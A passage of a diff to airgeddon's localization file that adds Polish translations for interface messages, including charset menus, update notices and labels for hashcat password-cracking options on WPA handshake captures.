arr["SPANISH",196]="Selecciona el juego de caracteres a utilizar :" @@ -2438,7 +2438,7 @@ function language_strings() { arr["RUSSIAN",196]="Выберите набор символов для использования :" arr["GREEK",196]="Επιλέξτε το σετ χαρακτήρων που θα χρησιμοποιηθεί :" arr["ITALIAN",196]="Selezionare il set di caratteri da utilizzare :" - arr["POLISH",196]="${pending_of_translation} " + arr["POLISH",196]="${pending_of_translation} Wybierz zestaw znaków do użycia :" arr["ENGLISH",197]="1. Lowercase chars" arr["SPANISH",197]="1. Caracteres en minúsculas" @@ -2448,7 +2448,7 @@ function language_strings() { arr["RUSSIAN",197]="1. Символы нижнего регистра" arr["GREEK",197]="1. Πεζά" arr["ITALIAN",197]="1. Caratteri minuscoli" - arr["POLISH",197]="${pending_of_translation} " + arr["POLISH",197]="${pending_of_translation} 1. Małe litery" arr["ENGLISH",198]="2. Uppercase chars" arr["SPANISH",198]="2. Caracteres en mayúsculas" @@ -2458,7 +2458,7 @@ function language_strings() { arr["RUSSIAN",198]="2. Символы верхнего регистра" arr["GREEK",198]="2. Κεφαλαία" arr["ITALIAN",198]="2. Caratteri maiuscoli" - arr["POLISH",198]="${pending_of_translation} " + arr["POLISH",198]="${pending_of_translation} 2. Wielkie litery" arr["ENGLISH",199]="3. Numeric chars" arr["SPANISH",199]="3. Caracteres numéricos" @@ -2468,7 +2468,7 @@ function language_strings() { arr["RUSSIAN",199]="3. Цифры" arr["GREEK",199]="3. Αριθμοί" arr["ITALIAN",199]="3. Caratteri numerici" - arr["POLISH",199]="${pending_of_translation} " + arr["POLISH",199]="${pending_of_translation} 3. Znaki liczbowe" arr["ENGLISH",200]="4. Symbol chars" arr["SPANISH",200]="4. Caracteres símbolos" @@ -2478,7 +2478,7 @@ function language_strings() { arr["RUSSIAN",200]="4. Символы" arr["GREEK",200]="4. Σύμβολα" arr["ITALIAN",200]="4. Simboli" - arr["POLISH",200]="${pending_of_translation} " + arr["POLISH",200]="${pending_of_translation} 4. Symbole znaków" arr["ENGLISH",201]="5. Lowercase + uppercase chars" arr["SPANISH",201]="5. Caracteres en minúsculas + mayúsculas" @@ -2488,7 +2488,7 @@ function language_strings() { arr["RUSSIAN",201]="5. Буквы верхнего + нижнего регистра" arr["GREEK",201]="5. Πεζά + κεφαλαία" arr["ITALIAN",201]="5. Caratteri minuscoli + maiuscoli" - arr["POLISH",201]="${pending_of_translation} " + arr["POLISH",201]="${pending_of_translation} 5. Znaki małe + wielkie" arr["ENGLISH",202]="6. Lowercase + numeric chars" arr["SPANISH",202]="6. Caracteres en minúsculas + numéricos" @@ -2498,7 +2498,7 @@ function language_strings() { arr["RUSSIAN",202]="6. Буквы нижнего регистра + цифры" arr["GREEK",202]="6. Πεζά + αριθμοί" arr["ITALIAN",202]="6. Caratteri minuscoli + numerici" - arr["POLISH",202]="${pending_of_translation} " + arr["POLISH",202]="${pending_of_translation} 6. Małe + numeryczne znaki" arr["ENGLISH",203]="7. Uppercase + numeric chars" arr["SPANISH",203]="7. Caracteres en mayúsculas + numéricos" @@ -2508,7 +2508,7 @@ function language_strings() { arr["RUSSIAN",203]="7. Буквы верхнего регистра + цифры" arr["GREEK",203]="7. Κεφαλαία + αριθμοί" arr["ITALIAN",203]="7. Caratteri numerici + maiuscoli" - arr["POLISH",203]="${pending_of_translation} " + arr["POLISH",203]="${pending_of_translation} 7. Wielkie + numeryczne znaki" arr["ENGLISH",204]="8. Symbol + numeric chars" arr["SPANISH",204]="8. Caracteres símbolos + numéricos" @@ -2518,7 +2518,7 @@ function language_strings() { arr["RUSSIAN",204]="8. Символы + цифры" arr["GREEK",204]="8. Σύμβολα + αριθμοί" arr["ITALIAN",204]="8. simboli + numeri" - arr["POLISH",204]="${pending_of_translation} " + arr["POLISH",204]="${pending_of_translation} 8. Znaki liczbowe + symboliczne" arr["ENGLISH",205]="9. Lowercase + uppercase + numeric chars" arr["SPANISH",205]="9. Caracteres en minúsculas + mayúsculas + numéricos" @@ -2528,7 +2528,7 @@ function language_strings() { arr["RUSSIAN",205]="9. Буквы нижнего регистра + верхнего регистра + цифры" arr["GREEK",205]="9. Πεζά + κεφαλαία + αριθμοί" arr["ITALIAN",205]="9. Caratteri minuscoli + maiuscoli + numeri" - arr["POLISH",205]="${pending_of_translation} " + arr["POLISH",205]="${pending_of_translation} 9. Małe litery + wielkie litery + cyfry" arr["ENGLISH",206]="10. Lowercase + uppercase + symbol chars" arr["SPANISH",206]="10. Caracteres en minúsculas + mayúsculas + símbolos" @@ -2538,7 +2538,7 @@ function language_strings() { arr["RUSSIAN",206]="10. Буквы нижнего регистра + верхнего регистра + символы" arr["GREEK",206]="10. Πεζά + κεφαλαία + σύμβολα" arr["ITALIAN",206]="10. Caratteri minuscoli + maiuscoli + simboli" - arr["POLISH",206]="${pending_of_translation} " + arr["POLISH",206]="${pending_of_translation} 10. Małe litery + wielkie + symbole" arr["ENGLISH",207]="11. Lowercase + uppercase + numeric + symbol chars" arr["SPANISH",207]="11. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" @@ -2548,7 +2548,7 @@ function language_strings() { arr["RUSSIAN",207]="11. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",207]="11. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",207]="11. Caratteri minuscoli + maiuscoli + numeri + simboli" - arr["POLISH",207]="${pending_of_translation} " + arr["POLISH",207]="${pending_of_translation} 11. Małe litery + wielkie + cyfry + symbole" arr["ENGLISH",208]="If you choose a big charset and a long key length, the proccess could take so much time" arr["SPANISH",208]="Si eliges un juego de caracteres amplio y una longitud de clave grande, el proceso podría demorarse mucho tiempo" @@ -2558,7 +2558,7 @@ function language_strings() { arr["RUSSIAN",208]="Если вы выберете большой набор символов и большую длинну ключа, процесс может занять очень много времени" arr["GREEK",208]="Αν επιλέξετε μεγάλη συμβολοσειρά και μεγάλο μήκος κλειδιού, η διεργασία θα διαρκέσει αρκετά" arr["ITALIAN",208]="Se si sceglie un set di caratteri grande e una grande lunghezza della chiave, il processo potrebbe richiedere molto tempo" - arr["POLISH",208]="${pending_of_translation} " + arr["POLISH",208]="${pending_of_translation} Jeśli wybierzesz duży zestaw znaków i dużą długość klucza, proces może potrwać długi czas" arr["ENGLISH",209]="The charset to use is : [${normal_color}${showcharset}${blue_color}]" arr["SPANISH",209]="El juego de caracteres elegido es : [${normal_color}${showcharset}${blue_color}]" @@ -2568,7 +2568,7 @@ function language_strings() { arr["RUSSIAN",209]="Символы для использования : [${normal_color}${showcharset}${blue_color}]" arr["GREEK",209]="Η συμβολοσειρά που θα χρησιμοποιηθεί είναι : [${normal_color}${showcharset}${blue_color}]" arr["ITALIAN",209]="Il set di caratteri scelto è : [${normal_color}${showcharset}${blue_color}]" - arr["POLISH",209]="${pending_of_translation} " + arr["POLISH",209]="${pending_of_translation} Wybrany zestaw znaków to : [${normal_color}${showcharset}${blue_color}]" arr["ENGLISH",210]="The script will check for internet access looking for a newer version. Please be patient..." arr["SPANISH",210]="El script va a comprobar si tienes acceso a internet para ver si existe una nueva versión. Por favor ten paciencia..." @@ -2578,7 +2578,7 @@ function language_strings() { arr["RUSSIAN",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Подождите немного..." arr["GREEK",210]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο και έπειτα για νεότερη έκδοση. Παρακαλώ κάντε υπομονή..." arr["ITALIAN",210]="Lo script controllerà se si ha accesso a internet per vedere se c'è una nuova versione. Si prega di essere pazienti..." - arr["POLISH",210]="${pending_of_translation} " + arr["POLISH",210]="${pending_of_translation} Skrypt sprawdzi, czy masz dostęp do internetu, czy jest nowa wersja. Bądźcie cierpliwi..." arr["ENGLISH",211]="It seems you have no internet access. The script can't connect to repository. It will continue without updating..." arr["SPANISH",211]="Parece que no tienes conexión a internet. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -2588,7 +2588,7 @@ function language_strings() { arr["RUSSIAN",211]="Кажется, у вас нет доступа в Интернет. Скрипт не может подключится к репозиторию. Он продолжит без обновления..." arr["GREEK",211]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",211]="Sembra che tu non abbia alcuna connessione a internet. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." - arr["POLISH",211]="${pending_of_translation} " + arr["POLISH",211]="${pending_of_translation} Wygląda na to, że nie masz połączenia internet. Skrypt nie może połączyć się z repozytorium. Będzie kontynuowane bez aktualizacji..." arr["ENGLISH",212]="The script is already in the latest version. It doesn't need to be updated" arr["SPANISH",212]="El script ya está en la última versión. No necesita ser actualizado" @@ -2598,7 +2598,7 @@ function language_strings() { arr["RUSSIAN",212]="Скрипт уже последней версии, обновление не требуется" arr["GREEK",212]="Το script είναι ήδη στην τελευταία έκδοση. Δεν χρειάζεται να ενημερωθεί" arr["ITALIAN",212]="Lo script è già alla sua ultima versione. Non c'è bisogno di aggiornamenti" - arr["POLISH",212]="${pending_of_translation} " + arr["POLISH",212]="${pending_of_translation} Skrypt jest już w najnowszej wersji. Nie ma potrzeby aktualizacji" arr["ENGLISH",213]="A new version of the script exists (v${airgeddon_last_version}). It will be downloaded" arr["SPANISH",213]="Existe una nueva versión del script (v${airgeddon_last_version}). Será descargada" @@ -2608,7 +2608,7 @@ function language_strings() { arr["RUSSIAN",213]="Существует новая версия скрипта (v${airgeddon_last_version}). Она будет загружена" arr["GREEK",213]="Υπάρχει νεότερη έκδοση του script (v${airgeddon_last_version}). Θα κατέβει" arr["ITALIAN",213]="Esiste una nuova versione dello script (v${airgeddon_last_version}). Sarà scaricata" - arr["POLISH",213]="${pending_of_translation} " + arr["POLISH",213]="${pending_of_translation} Jest nowa wersja skryptu (v${airgeddon_last_version}). Zostanie pobrana" arr["ENGLISH",214]="The new version was successfully downloaded. The script will be launched again" arr["SPANISH",214]="La nueva versión se ha descargado con éxito. El script se lanzará de nuevo" @@ -2618,7 +2618,7 @@ function language_strings() { arr["RUSSIAN",214]="Новая версия успешно загружена. Скрипт будет перезапущен" arr["GREEK",214]="Η νεότερη έκδοση κατέβηκε επιτυχώς. Το script θα επανεκκινηθεί" arr["ITALIAN",214]="La nuova versione è stata scaricata con successo. Lo script sarà lanciato di nuovo" - arr["POLISH",214]="${pending_of_translation} " + arr["POLISH",214]="${pending_of_translation} Nowa wersja została pobrana pomyślnie. Skrypt zostanie uruchomiony ponownie" arr["ENGLISH",215]="WPA/WPA2 passwords always has 8 as a minimum length" arr["SPANISH",215]="Una contraseña WPA/WPA2 siempre tiene como mínimo una longitud de 8" @@ -2628,7 +2628,7 @@ function language_strings() { arr["RUSSIAN",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" arr["GREEK",215]="οι κωδικοί πρόσβασης WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" arr["ITALIAN",215]="Una password WPA/WPA2 è sempre lunga almeno 8 caratteri" - arr["POLISH",215]="${pending_of_translation} " + arr["POLISH",215]="${pending_of_translation} Hasło WPA/WPA2 zawsze wynosi co najmniej 8" arr["ENGLISH",216]="No networks found with Handshake captured on the selected file" arr["SPANISH",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" @@ -2638,7 +2638,7 @@ function language_strings() { arr["RUSSIAN",216]="В выбранном файле сети с захваченным рукопожатием не найдены" arr["GREEK",216]="Δεν βρέθηκαν δίκτυα με Χειραψία στο επιλεγμένο αρχείο" arr["ITALIAN",216]="Nessuna rete trovata con Handshake catturati nel file selezionato" - arr["POLISH",216]="${pending_of_translation} " + arr["POLISH",216]="${pending_of_translation} Nie znaleziono sieci z ujęciem Handshake przechwyconym w wybranym pliku" arr["ENGLISH",217]="Only one valid target detected on file. BSSID autoselected [${normal_color}${bssid}${blue_color}]" arr["SPANISH",217]="Sólo un objetivo válido detectado en el fichero. Se ha seleccionado automáticamente el BSSID [${normal_color}${bssid}${blue_color}]" @@ -2648,7 +2648,7 @@ function language_strings() { arr["RUSSIAN",217]="В файле обнаружена только одна подходящая цель. BSSID выбрана автоматически [${normal_color}${bssid}${blue_color}]" arr["GREEK",217]="Μόνο ένας έγκυρος στόχος εντοπίστηκε στο αρχείο. Επιλέχθηκε αυτόματα το BSSID [${normal_color}${bssid}${blue_color}]" arr["ITALIAN",217]="Solo un bersaglio valido rilevato nel file. Viene selezionato automaticamente il BSSID [${normal_color}${bssid}${blue_color}]" - arr["POLISH",217]="${pending_of_translation} " + arr["POLISH",217]="${pending_of_translation} W pliku został wykryty tylko ważny cel. BSSID jest wybierany automatycznie [${normal_color}${bssid}${blue_color}]" arr["ENGLISH",218]="Optional tools: checking..." arr["SPANISH",218]="Herramientas opcionales: comprobando..." @@ -2658,7 +2658,7 @@ function language_strings() { arr["RUSSIAN",218]="Опциональные инструменты: проверка..." arr["GREEK",218]="Προαιρετικά εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",218]="Strumenti opzionali: controllo ..." - arr["POLISH",218]="${pending_of_translation} " + arr["POLISH",218]="${pending_of_translation} Narzędzia opcjonalne: sprawdzanie..." arr["ENGLISH",219]="Your distro has the essential tools but it hasn't some optional. The script can continue but you can't use some features. It is recommended to install missing tools" arr["SPANISH",219]="Tu distro tiene las herramientas esenciales pero le faltan algunas opcionales. El script puede continuar pero no podrás utilizar algunas funcionalidades. Es recomendable instalar las herramientas que faltan" @@ -2668,7 +2668,7 @@ function language_strings() { arr["RUSSIAN",219]="Ваш дистрибутив имеет базовые инструменты, но не имеет некоторые опциональные. Скрипт может продолжить работу, но вы не сможете использовать некоторые функции. Рекомендуется установить отсутствующие инструменты" arr["GREEK",219]="Η διανομή σας έχει τα απαραίτητα εργαλεία αλλά δεν έχει κάποια προαιρετικά. Το script μπορεί να συνεχίσει αλλά δεν θα μπορέσετε να χρησιμοποιήσετε κάποια χαρακτηριστικά. Συνιστάται να εγκαταστήσετε τα λείποντα εργαλεία" arr["ITALIAN",219]="La tua distro ha gli strumenti essenziali, ma mancano alcuni opzionali. Lo script può continuare, ma non è possibile utilizzare alcune funzioni. Si consiglia di installare gli strumenti mancanti" - arr["POLISH",219]="${pending_of_translation} " + arr["POLISH",219]="${pending_of_translation} Twój distro ma podstawowe narzędzia, ale brakuje niektórych opcjonalnych. Skrypt może być kontynuowany, ale nie będziesz mógł używać niektórych funkcji. Zaleca się zainstalowanie brakujących narzędzi" arr["ENGLISH",220]="Locked menu option was chosen" arr["SPANISH",220]="Opción del menú bloqueada" @@ -2678,7 +2678,7 @@ function language_strings() { arr["RUSSIAN",220]="Была выбрана заблокированная опция меню" arr["GREEK",220]="Επιλέχθηκε κλειδωμένη επιλογή" arr["ITALIAN",220]="Opzione del menù bloccata" - arr["POLISH",220]="${pending_of_translation} " + arr["POLISH",220]="${pending_of_translation} Zablokowana opcja menu" arr["ENGLISH",221]="Accepted bash version (${BASH_VERSION}). Minimum required version: ${minimum_bash_version_required}" arr["SPANISH",221]="Versión de bash (${BASH_VERSION}) aceptada. Mínimo requerido versión: ${minimum_bash_version_required}" @@ -2688,7 +2688,7 @@ function language_strings() { arr["RUSSIAN",221]="Используемая версия bash (${BASH_VERSION}). Минимальная требуемая версия: ${minimum_bash_version_required}" arr["GREEK",221]="Αποδεκτή έκδοση bash (${BASH_VERSION}). Ελάχιστη απαιτούμενη έκδοση: ${minimum_bash_version_required}" arr["ITALIAN",221]="Versione di bash (${BASH_VERSION}) accettata. Minima versione richiesta: ${minimum_bash_version_required}" - arr["POLISH",221]="${pending_of_translation} " + arr["POLISH",221]="${pending_of_translation} Zaakceptowano wersję bash (${BASH_VERSION}). Minimalna wymagana wersja: ${minimum_bash_version_required}" arr["ENGLISH",222]="Insufficient bash version (${BASH_VERSION}). Minimum required version: ${minimum_bash_version_required}" arr["SPANISH",222]="Versión de bash insuficiente (${BASH_VERSION}). Mínimo requerido versión: ${minimum_bash_version_required}" @@ -2698,7 +2698,7 @@ function language_strings() { arr["RUSSIAN",222]="Неудовлетворительная версия bash (${BASH_VERSION}). Минимальная требуемая версия: ${minimum_bash_version_required}" arr["GREEK",222]="Ανεπαρκής έκδοση bash (${BASH_VERSION}). Ελάχιστη απαιτούμενη έκδοση: ${minimum_bash_version_required}" arr["ITALIAN",222]="Versione di bash insufficiente (${BASH_VERSION}). Versione minima richiesta: ${minimum_bash_version_required}" - arr["POLISH",222]="${pending_of_translation} " + arr["POLISH",222]="${pending_of_translation} Niewystarczająca wersja bash (${BASH_VERSION}). Minimalna wymagana wersja: ${minimum_bash_version_required}" arr["ENGLISH",223]="airgeddon needs root permissions to work. Launch the script as root user or using \"sudo\"" arr["SPANISH",223]="airgeddon necesita permisos de root para funcionar. Lanza el script como usuario root o usando \"sudo\"" @@ -2708,7 +2708,7 @@ function language_strings() { arr["RUSSIAN",223]="airgeddon требует для работы прав root. Запустите скрипт как root пользователь или используйте \"sudo\"" arr["GREEK",223]="Το airgeddon χρειάζεται root δικαιώματα για να δουλέψει. Ανοίξτε το script ως χρήστης root ή χρησιμοποιήστε \"sudo\"" arr["ITALIAN",223]="airgeddon ha bisogno dei permessi di root per l'esecuzione. Lancia lo script come root o usando \"sudo\"" - arr["POLISH",223]="${pending_of_translation} " + arr["POLISH",223]="${pending_of_translation} airgeddon wymaga uprawnień root do pracy. Uruchom skrypt jako root lub użyj \"sudo\"" arr["ENGLISH",224]="The script execution continues from exactly the same point where it was" arr["SPANISH",224]="El script continua su ejecución desde exactamente el mismo punto en el que estaba" @@ -2718,7 +2718,7 @@ function language_strings() { arr["RUSSIAN",224]="Выполнение скрипта продолжиться с точно той точки, на которой он был" arr["GREEK",224]="Η εκτέλεση του script συνεχίζει ακριβώς από το ίδιο σημείο που ήταν" arr["ITALIAN",224]="Lo script continua l'esecuzione esattamente dallo stesso punto in cui era" - arr["POLISH",224]="${pending_of_translation} " + arr["POLISH",224]="${pending_of_translation} Skrypt kontynuuje wykonywanie z dokładnie tego samego punktu, na jakim był on" arr["ENGLISH",225]="The script can't check if there is a new version because you haven't installed update tools needed" arr["SPANISH",225]="El script no puede comprobar si hay una nueva versión porque no tienes instaladas las herramientas de actualización necesarias" @@ -2728,7 +2728,7 @@ function language_strings() { arr["RUSSIAN",225]="Скрипт не может проверить имеется ли новая версия, поскольку у вас не установлены необходимые инструменты обновления" arr["GREEK",225]="Το script δεν μπορεί να ελέγξει αν υπάρχει νεότερη έκδοση γιατί δεν έχετε εγκαταστήσει τα απαραίτητα εργαλεία ενημερώσεων" arr["ITALIAN",225]="Lo script non può verificare se c'è una nuova versione perché non sono stati installati gli strumenti di aggiornamento necessari" - arr["POLISH",225]="${pending_of_translation} " + arr["POLISH",225]="${pending_of_translation} Skrypt nie może sprawdzić nowej wersji, ponieważ nie ma zainstalowanych niezbędnych narzędzi aktualizacji" arr["ENGLISH",226]="Update tools: checking..." arr["SPANISH",226]="Herramientas de actualización: comprobando..." @@ -2738,7 +2738,7 @@ function language_strings() { arr["RUSSIAN",226]="Инструменты для обновления: проверка..." arr["GREEK",226]="Εργαλεία ενημερώσεων: γίνεται έλεγχος..." arr["ITALIAN",226]="Strumenti di aggiornamento: controllo ..." - arr["POLISH",226]="${pending_of_translation} " + arr["POLISH",226]="${pending_of_translation} Narzędzia aktualizacji: sprawdzanie..." arr["ENGLISH",227]="Working... " arr["SPANISH",227]="Trabajando... " @@ -2748,7 +2748,7 @@ function language_strings() { arr["RUSSIAN",227]="Работаем... " arr["GREEK",227]="Δουλεύει... " arr["ITALIAN",227]="Lavorando... " - arr["POLISH",227]="${pending_of_translation} " + arr["POLISH",227]="${pending_of_translation} Praca..." arr["ENGLISH",228]=" Developed by ${author}" arr["SPANISH",228]=" Programado por ${author}" @@ -2758,7 +2758,7 @@ function language_strings() { arr["RUSSIAN",228]=" Создал ${author}" arr["GREEK",228]=" Προγραμματισμένο από ${author}" arr["ITALIAN",228]=" Sviluppato da ${author}" - arr["POLISH",228]="${pending_of_translation} " + arr["POLISH",228]="${pending_of_translation} Zaplanowane przez ${author}" arr["ENGLISH",229]="hashcat CPU, non GPU attacks" arr["SPANISH",229]="ataques hashcat CPU, no GPU" @@ -2768,7 +2768,7 @@ function language_strings() { arr["RUSSIAN",229]="Атаки hashcat с использованием центрального процессора, без использования видеокарты" arr["GREEK",229]="επιθέσεις hashcat CPU, όχι GPU" arr["ITALIAN",229]="attacchi hashcat CPU, non GPU" - arr["POLISH",229]="${pending_of_translation} " + arr["POLISH",229]="${pending_of_translation} ataki CPU hashcat, brak GPU" arr["ENGLISH",230]="3. (hashcat) Dictionary attack against capture file" arr["SPANISH",230]="3. (hashcat) Ataque de diccionario sobre fichero de captura" @@ -2778,7 +2778,7 @@ function language_strings() { arr["RUSSIAN",230]="3. (hashcat) Атака по словарю в отношению захваченного файла" arr["GREEK",230]="3. (hashcat) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["ITALIAN",230]="3. (hashcat) Attacco di dizionario sul file di cattura" - arr["POLISH",230]="${pending_of_translation} " + arr["POLISH",230]="${pending_of_translation} 3. (hashcat) Słownik ataku na plik przechwytywania" arr["ENGLISH",231]="4. (hashcat) Bruteforce attack against capture file" arr["SPANISH",231]="4. (hashcat) Ataque de fuerza bruta sobre fichero de captura" @@ -2788,7 +2788,7 @@ function language_strings() { arr["RUSSIAN",231]="4. (hashcat) Атака рукопожатия полным перебором" arr["GREEK",231]="4. (hashcat) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["ITALIAN",231]="4. (hashcat) Attacco di forza bruta sul file di cattura" - arr["POLISH",231]="${pending_of_translation} " + arr["POLISH",231]="${pending_of_translation} 4. (hashcat) Brute force atak na przechwytywanie pliku" arr["ENGLISH",232]="5. (hashcat) Rule based attack against capture file" arr["SPANISH",232]="5. (hashcat) Ataque basado en reglas sobre fichero de captura" @@ -2798,7 +2798,7 @@ function language_strings() { arr["RUSSIAN",232]="5. (hashcat) Атака на основе правила в отношении захваченного файла" arr["GREEK",232]="5. (hashcat) Επίθεση κανόνων σε αρχείο καταγραφής" arr["ITALIAN",232]="5. (hashcat) Attacco basato su regole contro il file di cattura" - arr["POLISH",232]="${pending_of_translation} " + arr["POLISH",232]="${pending_of_translation} 5. (hashcat) Atak dotyczący reguł na plik przechwytywania" arr["ENGLISH",233]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${hashcat_potpath}]" arr["SPANISH",233]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${hashcat_potpath}]" @@ -2808,7 +2808,7 @@ function language_strings() { arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${hashcat_potpath}]" arr["GREEK",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${hashcat_potpath}]" arr["ITALIAN",233]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default ${normal_color}[${hashcat_potpath}]" - arr["POLISH",233]="${pending_of_translation} " + arr["POLISH",233]="${pending_of_translation} Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${hashcat_potpath}]" arr["ENGLISH",234]="Contratulations!! It seems the key has been decrypted" arr["SPANISH",234]="Enhorabuena!! Parece que la clave ha sido desencriptada" @@ -2818,7 +2818,7 @@ function language_strings() { arr["RUSSIAN",234]="Поздравления!! Похоже на то, что ключ был расшифрован" arr["GREEK",234]="Συγχαρητήρια!! Φαίνεται πως το κλειδί αποκρυπτογραφήθηκε" arr["ITALIAN",234]="Congratulazioni!! Sembra che la password è stata decifrata" - arr["POLISH",234]="${pending_of_translation} " + arr["POLISH",234]="${pending_of_translation} Gratulacje!! Wydaje się, że klucz został odszyfrowany" arr["ENGLISH",235]="Do you want to save the trophy file with the decrypted password? ${normal_color}${visual_choice}" arr["SPANISH",235]="¿Quieres guardar el fichero de trofeo con la clave desencriptada? ${normal_color}${visual_choice}" @@ -2828,7 +2828,7 @@ function language_strings() { arr["RUSSIAN",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? ${normal_color}${visual_choice}" arr["GREEK",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης; ${normal_color}${visual_choice}" arr["ITALIAN",235]="Vuoi salvare il file trofeo con la password decifrata? ${normal_color}${visual_choice}" - arr["POLISH",235]="${pending_of_translation} " + arr["POLISH",235]="${pending_of_translation} Czy chcesz zapisać plik trofeum przy użyciu odszyfrowanego klucza? ${normal_color}${visual_choice}" arr["ENGLISH",236]="Hashcat trophy file generated successfully at [${normal_color}${potenteredpath}${blue_color}]" arr["SPANISH",236]="Fichero de trofeo hashcat generado con éxito en [${normal_color}${potenteredpath}${blue_color}]" @@ -2838,7 +2838,7 @@ function language_strings() { arr["RUSSIAN",236]="Трофейный файл hashcat был успешно сгенерирован в [${normal_color}${potenteredpath}${blue_color}]" arr["GREEK",236]="Το hashcat αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [${normal_color}${potenteredpath}${blue_color}]" arr["ITALIAN",236]="File di trofeo di hashcat generato con successo [${normal_color}${potenteredpath}${blue_color}]" - arr["POLISH",236]="${pending_of_translation} " + arr["POLISH",236]="${pending_of_translation} Plik trofeum hashcat został pomyślnie wygenerowany w [${normal_color}${potenteredpath}${blue_color}]" arr["ENGLISH",237]="5. Lowercase + uppercase + numeric + symbol chars" arr["SPANISH",237]="5. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" @@ -2848,7 +2848,7 @@ function language_strings() { arr["RUSSIAN",237]="5. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",237]="5. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",237]="5. Caratteri minuscoli + maiuscoli + numeri + simboli" - arr["POLISH",237]="${pending_of_translation} " + arr["POLISH",237]="${pending_of_translation} 5. małe litery + wielkie + cyfry + symbole" arr["ENGLISH",238]="Charset selection menu" arr["SPANISH",238]="Menú de selección de juego de caracteres" @@ -2858,7 +2858,7 @@ function language_strings() { arr["RUSSIAN",238]="Меню выбора набора символов" arr["GREEK",238]="Μενού επιλογής συμβολοσειράς" arr["ITALIAN",238]="Menú di selezione del set di caratteri" - arr["POLISH",238]="${pending_of_translation} " + arr["POLISH",238]="${pending_of_translation} Menu wyboru zestawu znaków" arr["ENGLISH",239]="You already have selected a rules file during this session [${normal_color}${RULES}${blue_color}]" arr["SPANISH",239]="Ya tienes seleccionado un fichero de reglas en esta sesión [${normal_color}${RULES}${blue_color}]" @@ -2868,7 +2868,7 @@ function language_strings() { arr["RUSSIAN",239]="Во время этой сессии вы уже выбрали файл с правилами [${normal_color}${RULES}${blue_color}]" arr["GREEK",239]="Έχετε ήδη επιλέξει αρχείο κανόνων κατά τη διάρκεια τησ συνεδρίας [${normal_color}${RULES}${blue_color}]" arr["ITALIAN",239]="È giá stato selezionato un file di regole in questa sessione [${normal_color}${RULES}${blue_color}]" - arr["POLISH",239]="${pending_of_translation} " + arr["POLISH",239]="${pending_of_translation} Plik tej reguły został już wybrany [${normal_color}${RULES}${blue_color}]" arr["ENGLISH",240]="Do you want to use this already selected rules file? ${normal_color}${visual_choice}" arr["SPANISH",240]="¿Quieres utilizar este fichero de reglas ya seleccionado? ${normal_color}${visual_choice}" @@ -2878,7 +2878,7 @@ function language_strings() { arr["RUSSIAN",240]="Вы хотите использовать этот уже выбранный файл правил? ${normal_color}${visual_choice}" arr["GREEK",240]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο κανόνων; ${normal_color}${visual_choice}" arr["ITALIAN",240]="Vuoi utilizzare questo file di regole già selezionato? ${normal_color}${visual_choice}" - arr["POLISH",240]="${pending_of_translation} " + arr["POLISH",240]="${pending_of_translation} Czy chcesz użyć tego już wybranego pliku reguł? ${normal_color}${visual_choice}" arr["ENGLISH",241]="The path to the rules file is valid. Script can continue..." arr["SPANISH",241]="La ruta al fichero de reglas es válida. El script puede continuar..." @@ -2888,7 +2888,7 @@ function language_strings() { arr["RUSSIAN",241]="Путь до файла с правилами верный. Скрипт может продолжать..." arr["GREEK",241]="Το μονοπάτι για το αρχείο κανόνων είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",241]="Il percorso del file di regole è valido. Lo script può continuare..." - arr["POLISH",241]="${pending_of_translation} " + arr["POLISH",241]="${pending_of_translation} Ścieżka do pliku reguł jest prawidłowa. Skrypt może kontynuować..." arr["ENGLISH",242]="Enter the path of a rules file :" arr["SPANISH",242]="Introduce la ruta de un fichero de reglas :" @@ -2898,7 +2898,7 @@ function language_strings() { arr["RUSSIAN",242]="Введите путь файла с правилами :" arr["GREEK",242]="Εισάγετε το μονοπάτι για ένα αρχείο κανόνων :" arr["ITALIAN",242]="Immettere il percorso di un file di regole :" - arr["POLISH",242]="${pending_of_translation} " + arr["POLISH",242]="${pending_of_translation} Wprowadź ścieżkę pliku reguł :" arr["ENGLISH",243]="Selected rules file: ${pink_color}${RULES}${normal_color}" arr["SPANISH",243]="Fichero de reglas seleccionado: ${pink_color}${RULES}${normal_color}" @@ -2908,7 +2908,7 @@ function language_strings() { arr["RUSSIAN",243]="Выбранный файл правил: ${pink_color}${RULES}${normal_color}" arr["GREEK",243]="Επιλεγμένο αρχείο κανόνων: ${pink_color}${RULES}${normal_color}" arr["ITALIAN",243]="File di regole selezionato: ${pink_color}${RULES}${normal_color}" - arr["POLISH",243]="${pending_of_translation} " + arr["POLISH",243]="${pending_of_translation} Wybrany plik reguł: 